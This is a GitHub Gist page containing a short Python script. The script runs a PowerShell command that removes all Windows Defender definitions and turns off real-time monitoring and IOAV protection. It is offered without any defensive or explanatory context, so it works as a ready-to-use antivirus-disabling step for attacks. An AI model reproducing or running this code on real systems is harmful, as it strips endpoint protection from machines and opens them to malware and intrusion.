Skip to content

Instantly share code, notes, and snippets.

@spicesouls
Created April 3, 2021 13:03
Show Gist options
  • Save spicesouls/013e457251182e82e05b53dd23a17f66 to your computer and use it in GitHub Desktop.
Save spicesouls/013e457251182e82e05b53dd23a17f66 to your computer and use it in GitHub Desktop.
import os
path = os.environ["ProgramFiles"].replace('Program Files',"'Program Files'") + "\\'Windows Defender'\\MpCmdRun.exe"
cmd='"' + path + '" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableRealtimeMonitoring $true'
os.system('powershell.exe ' + cmd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment